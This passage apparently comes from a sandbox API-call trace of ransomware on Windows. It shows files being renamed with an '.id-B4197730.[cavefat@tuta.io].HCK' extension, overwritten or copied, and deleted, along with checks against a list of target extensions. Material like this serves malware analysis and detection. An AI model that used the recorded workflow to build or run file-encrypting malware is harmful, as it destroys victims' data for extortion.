(normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.459] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0149.474] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.474] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.474] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0149.486] GetLastError () returned 0x0 [0149.486] ReadFile (in: hFile=0x364, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x47e, lpOverlapped=0x0) returned 1 [0149.492] WriteFile (in: hFile=0x368, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0x480, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0x480, lpOverlapped=0x0) returned 1 [0149.492] ReadFile (in: hFile=0x364, lpBuffer=0x37f6020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2c0fecc, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesRead=0x2c0fecc*=0x0, lpOverlapped=0x0) returned 1 [0149.492] WriteFile (in: hFile=0x368, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0xee, lpNumberOfBytesWritten=0x2c0fc94, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fc94*=0xee, lpOverlapped=0x0) returned 1 [0149.493] SetEndOfFile (hFile=0x368) returned 1 [0149.493] CloseHandle (hObject=0x368) returned 1 [0149.493] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.494] SetEndOfFile (hFile=0x364) returned 1 [0149.494] CloseHandle (hObject=0x364) returned 1 [0149.494] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0149.495] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico" (normalized: "c:\\588bce7c90097ed212\\graphics\\sysreqmet.ico")) returned 1 [0149.495] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0149.495] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0149.495] lstrlenW (lpString=".doc") returned 4 [0149.495] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.495] lstrlenW (lpString=".docx") returned 5 [0149.495] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0149.495] lstrlenW (lpString=".pdf") returned 4 [0149.495] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.495] lstrlenW (lpString=".xls") returned 4 [0149.495] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.495] lstrlenW (lpString=".xlsx") returned 5 [0149.495] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0149.495] lstrlenW (lpString=".ppt") returned 4 [0149.495] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.495] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0149.495] lstrlenW (lpString=".zip") returned 4 [0149.495] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.495] lstrlenW (lpString=".rar") returned 4 [0149.495] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.495] lstrlenW (lpString=".bz2") returned 4 [0149.495] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.495] lstrlenW (lpString=".7z") returned 3 [0149.495] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.495] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0149.495] lstrlenW (lpString=".dbf") returned 4 [0149.495] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.495] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0149.495] lstrlenW (lpString=".1cd") returned 4 [0149.495] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.495] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0149.495] lstrlenW (lpString=".jpg") returned 4 [0149.495] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.496] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0149.496] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0149.496] lstrlenW (lpString=".doc") returned 4 [0149.496] lstrcmpiW (lpString1=".doc", lpString2=".ico") returned -1 [0149.496] lstrlenW (lpString=".docx") returned 5 [0149.496] lstrcmpiW (lpString1=".docx", lpString2="t.ico") returned -1 [0149.496] lstrlenW (lpString=".pdf") returned 4 [0149.496] lstrcmpiW (lpString1=".pdf", lpString2=".ico") returned 1 [0149.496] lstrlenW (lpString=".xls") returned 4 [0149.496] lstrcmpiW (lpString1=".xls", lpString2=".ico") returned 1 [0149.496] lstrlenW (lpString=".xlsx") returned 5 [0149.496] lstrcmpiW (lpString1=".xlsx", lpString2="t.ico") returned -1 [0149.496] lstrlenW (lpString=".ppt") returned 4 [0149.496] lstrcmpiW (lpString1=".ppt", lpString2=".ico") returned 1 [0149.496] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0149.496] lstrlenW (lpString=".zip") returned 4 [0149.496] lstrcmpiW (lpString1=".zip", lpString2=".ico") returned 1 [0149.496] lstrlenW (lpString=".rar") returned 4 [0149.496] lstrcmpiW (lpString1=".rar", lpString2=".ico") returned 1 [0149.496] lstrlenW (lpString=".bz2") returned 4 [0149.496] lstrcmpiW (lpString1=".bz2", lpString2=".ico") returned -1 [0149.496] lstrlenW (lpString=".7z") returned 3 [0149.496] lstrcmpiW (lpString1=".7z", lpString2="ico") returned -1 [0149.496] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0149.496] lstrlenW (lpString=".dbf") returned 4 [0149.496] lstrcmpiW (lpString1=".dbf", lpString2=".ico") returned -1 [0149.496] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0149.496] lstrlenW (lpString=".1cd") returned 4 [0149.496] lstrcmpiW (lpString1=".1cd", lpString2=".ico") returned -1 [0149.496] lstrlenW (lpString="C:\\588bce7c90097ed212\\Graphics\\SysReqMet.ico") returned 44 [0149.496] lstrlenW (lpString=".jpg") returned 4 [0149.496] lstrcmpiW (lpString1=".jpg", lpString2=".ico") returned 1 [0149.496] lstrcmpiW (lpString1=".mzz", lpString2=".HCK") returned 1 [0149.496] lstrlenW (lpString="netfx_Extended.mzz") returned 18 [0149.496] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0149.497] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=43131591) returned 1 [0149.497] CloseHandle (hObject=0x364) returned 1 [0149.497] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz")) returned 0x20 [0149.497] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0149.497] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz"), lpNewFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0149.497] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\netfx_extended.mzz.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0149.498] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc64 | out: lpNewFilePointer=0x0) returned 1 [0149.498] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc24 | out: lpNewFilePointer=0x0) returned 1 [0149.498] ReadFile (in: hFile=0x364, lpBuffer=0x37f6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c0fc30, lpOverlapped=0x0 | out: lpBuffer=0x37f6058*, lpNumberOfBytesRead=0x2c0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0149.501] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc24 | out: lpNewFilePointer=0x0) returned 1 [0149.501] ReadFile (in: hFile=0x364, lpBuffer=0x3836058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c0fc30, lpOverlapped=0x0 | out: lpBuffer=0x3836058*, lpNumberOfBytesRead=0x2c0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0149.505] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c0fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0149.505] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc24 | out: lpNewFilePointer=0x0) returned 1 [0149.505] ReadFile (in: hFile=0x364, lpBuffer=0x3876058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c0fc30, lpOverlapped=0x0 | out: lpBuffer=0x3876058*, lpNumberOfBytesRead=0x2c0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0149.522] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0149.522] WriteFile (in: hFile=0x364, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0xc0110, lpNumberOfBytesWritten=0x2c0fca8, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fca8*=0xc0110, lpOverlapped=0x0) returned 1 [0150.050] SetEndOfFile (hFile=0x364) returned 1 [0150.050] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40000) returned 0x3e26028 [0150.053] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc74 | out: lpNewFilePointer=0x0) returned 1 [0150.053] WriteFile (in: hFile=0x364, lpBuffer=0x3e26028*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e26028*, lpNumberOfBytesWritten=0x2c0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0150.054] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xdb60ed, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc74 | out: lpNewFilePointer=0x0) returned 1 [0150.054] WriteFile (in: hFile=0x364, lpBuffer=0x3e26028*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e26028*, lpNumberOfBytesWritten=0x2c0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0150.055] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x28e22c7, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc74 | out: lpNewFilePointer=0x0) returned 1 [0150.055] WriteFile (in: hFile=0x364, lpBuffer=0x3e26028*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e26028*, lpNumberOfBytesWritten=0x2c0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0150.056] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x3e26028 | out: hHeap=0x6b0000) returned 1 [0150.057] CloseHandle (hObject=0x364) returned 1 [0152.011] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\netfx_Extended.mzz.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0152.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0152.011] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0152.011] lstrlenW (lpString=".doc") returned 4 [0152.011] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0152.011] lstrlenW (lpString=".docx") returned 5 [0152.011] lstrcmpiW (lpString1=".docx", lpString2="d.mzz") returned -1 [0152.012] lstrlenW (lpString=".pdf") returned 4 [0152.012] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0152.012] lstrlenW (lpString=".xls") returned 4 [0152.012] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0152.012] lstrlenW (lpString=".xlsx") returned 5 [0152.012] lstrcmpiW (lpString1=".xlsx", lpString2="d.mzz") returned -1 [0152.012] lstrlenW (lpString=".ppt") returned 4 [0152.012] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0152.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0152.012] lstrlenW (lpString=".zip") returned 4 [0152.012] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0152.012] lstrlenW (lpString=".rar") returned 4 [0152.012] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0152.012] lstrlenW (lpString=".bz2") returned 4 [0152.012] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0152.012] lstrlenW (lpString=".7z") returned 3 [0152.012] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0152.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0152.012] lstrlenW (lpString=".dbf") returned 4 [0152.012] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0152.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0152.012] lstrlenW (lpString=".1cd") returned 4 [0152.012] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0152.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0152.012] lstrlenW (lpString=".jpg") returned 4 [0152.012] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0152.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0152.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0152.012] lstrlenW (lpString=".doc") returned 4 [0152.012] lstrcmpiW (lpString1=".doc", lpString2=".mzz") returned -1 [0152.012] lstrlenW (lpString=".docx") returned 5 [0152.012] lstrcmpiW (lpString1=".docx", lpString2="d.mzz") returned -1 [0152.012] lstrlenW (lpString=".pdf") returned 4 [0152.012] lstrcmpiW (lpString1=".pdf", lpString2=".mzz") returned 1 [0152.012] lstrlenW (lpString=".xls") returned 4 [0152.012] lstrcmpiW (lpString1=".xls", lpString2=".mzz") returned 1 [0152.012] lstrlenW (lpString=".xlsx") returned 5 [0152.012] lstrcmpiW (lpString1=".xlsx", lpString2="d.mzz") returned -1 [0152.012] lstrlenW (lpString=".ppt") returned 4 [0152.012] lstrcmpiW (lpString1=".ppt", lpString2=".mzz") returned 1 [0152.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0152.012] lstrlenW (lpString=".zip") returned 4 [0152.012] lstrcmpiW (lpString1=".zip", lpString2=".mzz") returned 1 [0152.012] lstrlenW (lpString=".rar") returned 4 [0152.012] lstrcmpiW (lpString1=".rar", lpString2=".mzz") returned 1 [0152.012] lstrlenW (lpString=".bz2") returned 4 [0152.012] lstrcmpiW (lpString1=".bz2", lpString2=".mzz") returned -1 [0152.012] lstrlenW (lpString=".7z") returned 3 [0152.012] lstrcmpiW (lpString1=".7z", lpString2="mzz") returned -1 [0152.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0152.012] lstrlenW (lpString=".dbf") returned 4 [0152.012] lstrcmpiW (lpString1=".dbf", lpString2=".mzz") returned -1 [0152.012] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0152.013] lstrlenW (lpString=".1cd") returned 4 [0152.013] lstrcmpiW (lpString1=".1cd", lpString2=".mzz") returned -1 [0152.013] lstrlenW (lpString="C:\\588bce7c90097ed212\\netfx_Extended.mzz") returned 40 [0152.013] lstrlenW (lpString=".jpg") returned 4 [0152.013] lstrcmpiW (lpString1=".jpg", lpString2=".mzz") returned -1 [0152.013] lstrcmpiW (lpString1=".msu", lpString2=".HCK") returned 1 [0152.013] lstrlenW (lpString="Windows6.1-KB958488-v6001-x86.msu") returned 33 [0152.013] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0152.013] GetFileSizeEx (in: hFile=0x364, lpFileSize=0x2c0ff14 | out: lpFileSize=0x2c0ff14*=2141433) returned 1 [0152.013] CloseHandle (hObject=0x364) returned 1 [0152.013] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu")) returned 0x80 [0152.013] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0152.013] MoveFileW (lpExistingFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu"), lpNewFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[cavefat@tuta.io].hck")) returned 1 [0152.014] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\windows6.1-kb958488-v6001-x86.msu.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x364 [0152.014] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc64 | out: lpNewFilePointer=0x0) returned 1 [0152.014] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc24 | out: lpNewFilePointer=0x0) returned 1 [0152.014] ReadFile (in: hFile=0x364, lpBuffer=0x37f6058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c0fc30, lpOverlapped=0x0 | out: lpBuffer=0x37f6058*, lpNumberOfBytesRead=0x2c0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0152.018] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc24 | out: lpNewFilePointer=0x0) returned 1 [0152.019] ReadFile (in: hFile=0x364, lpBuffer=0x3836058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c0fc30, lpOverlapped=0x0 | out: lpBuffer=0x3836058*, lpNumberOfBytesRead=0x2c0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0152.022] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xfffc0000, lpNewFilePointer=0xffffffff, dwMoveMethod=0x2c0fc64 | out: lpNewFilePointer=0xffffffff) returned 1 [0152.022] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc24 | out: lpNewFilePointer=0x0) returned 1 [0152.022] ReadFile (in: hFile=0x364, lpBuffer=0x3876058, nNumberOfBytesToRead=0x40000, lpNumberOfBytesRead=0x2c0fc30, lpOverlapped=0x0 | out: lpBuffer=0x3876058*, lpNumberOfBytesRead=0x2c0fc30*=0x40000, lpOverlapped=0x0) returned 1 [0152.045] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fec0 | out: lpNewFilePointer=0x0) returned 1 [0152.045] WriteFile (in: hFile=0x364, lpBuffer=0x37f6020*, nNumberOfBytesToWrite=0xc012e, lpNumberOfBytesWritten=0x2c0fca8, lpOverlapped=0x0 | out: lpBuffer=0x37f6020*, lpNumberOfBytesWritten=0x2c0fca8*=0xc012e, lpOverlapped=0x0) returned 1 [0152.407] SetEndOfFile (hFile=0x364) returned 1 [0152.958] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x40000) returned 0x3e66048 [0153.391] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc74 | out: lpNewFilePointer=0x0) returned 1 [0153.391] WriteFile (in: hFile=0x364, lpBuffer=0x3e66048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e66048*, lpNumberOfBytesWritten=0x2c0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0153.392] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0xae453, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc74 | out: lpNewFilePointer=0x0) returned 1 [0153.392] WriteFile (in: hFile=0x364, lpBuffer=0x3e66048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e66048*, lpNumberOfBytesWritten=0x2c0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0153.393] SetFilePointerEx (in: hFile=0x364, liDistanceToMove=0x1cacf9, lpNewFilePointer=0x0, dwMoveMethod=0x2c0fc74 | out: lpNewFilePointer=0x0) returned 1 [0153.393] WriteFile (in: hFile=0x364, lpBuffer=0x3e66048*, nNumberOfBytesToWrite=0x40000, lpNumberOfBytesWritten=0x2c0fc80, lpOverlapped=0x0 | out: lpBuffer=0x3e66048*, lpNumberOfBytesWritten=0x2c0fc80*=0x40000, lpOverlapped=0x0) returned 1 [0153.394] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x3e66048 | out: hHeap=0x6b0000) returned 1 [0153.394] CloseHandle (hObject=0x364) returned 1 [0153.754] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0153.755] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0153.755] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0153.755] lstrlenW (lpString=".doc") returned 4 [0153.755] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0153.755] lstrlenW (lpString=".docx") returned 5 [0153.755] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0153.755] lstrlenW (lpString=".pdf") returned 4 [0153.755] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0153.755] lstrlenW (lpString=".xls") returned 4 [0153.755] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0153.755] lstrlenW (lpString=".xlsx") returned 5 [0153.755] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0153.755] lstrlenW (lpString=".ppt") returned 4 [0153.755] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0153.755] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0153.755] lstrlenW (lpString=".zip") returned 4 [0153.755] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0153.755] lstrlenW (lpString=".rar") returned 4 [0153.755] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0153.755] lstrlenW (lpString=".bz2") returned 4 [0153.755] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0153.755] lstrlenW (lpString=".7z") returned 3 [0153.755] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0153.755] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0153.755] lstrlenW (lpString=".dbf") returned 4 [0153.755] lstrcmpiW (lpString1=".dbf", lpString2=".msu") returned -1 [0153.794] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0153.794] lstrlenW (lpString=".1cd") returned 4 [0153.794] lstrcmpiW (lpString1=".1cd", lpString2=".msu") returned -1 [0153.794] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0153.794] lstrlenW (lpString=".jpg") returned 4 [0153.794] lstrcmpiW (lpString1=".jpg", lpString2=".msu") returned -1 [0153.794] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0153.794] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0153.794] lstrlenW (lpString=".doc") returned 4 [0153.794] lstrcmpiW (lpString1=".doc", lpString2=".msu") returned -1 [0153.794] lstrlenW (lpString=".docx") returned 5 [0153.794] lstrcmpiW (lpString1=".docx", lpString2="6.msu") returned -1 [0153.794] lstrlenW (lpString=".pdf") returned 4 [0153.794] lstrcmpiW (lpString1=".pdf", lpString2=".msu") returned 1 [0153.794] lstrlenW (lpString=".xls") returned 4 [0153.795] lstrcmpiW (lpString1=".xls", lpString2=".msu") returned 1 [0153.795] lstrlenW (lpString=".xlsx") returned 5 [0153.795] lstrcmpiW (lpString1=".xlsx", lpString2="6.msu") returned -1 [0153.795] lstrlenW (lpString=".ppt") returned 4 [0153.795] lstrcmpiW (lpString1=".ppt", lpString2=".msu") returned 1 [0153.795] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0153.795] lstrlenW (lpString=".zip") returned 4 [0153.795] lstrcmpiW (lpString1=".zip", lpString2=".msu") returned 1 [0153.795] lstrlenW (lpString=".rar") returned 4 [0153.795] lstrcmpiW (lpString1=".rar", lpString2=".msu") returned 1 [0153.795] lstrlenW (lpString=".bz2") returned 4 [0153.795] lstrcmpiW (lpString1=".bz2", lpString2=".msu") returned -1 [0153.795] lstrlenW (lpString=".7z") returned 3 [0153.795] lstrcmpiW (lpString1=".7z", lpString2="msu") returned -1 [0153.795] lstrlenW (lpString="C:\\588bce7c90097ed212\\Windows6.1-KB958488-v6001-x86.msu") returned 55 [0153.795] lstrlenW 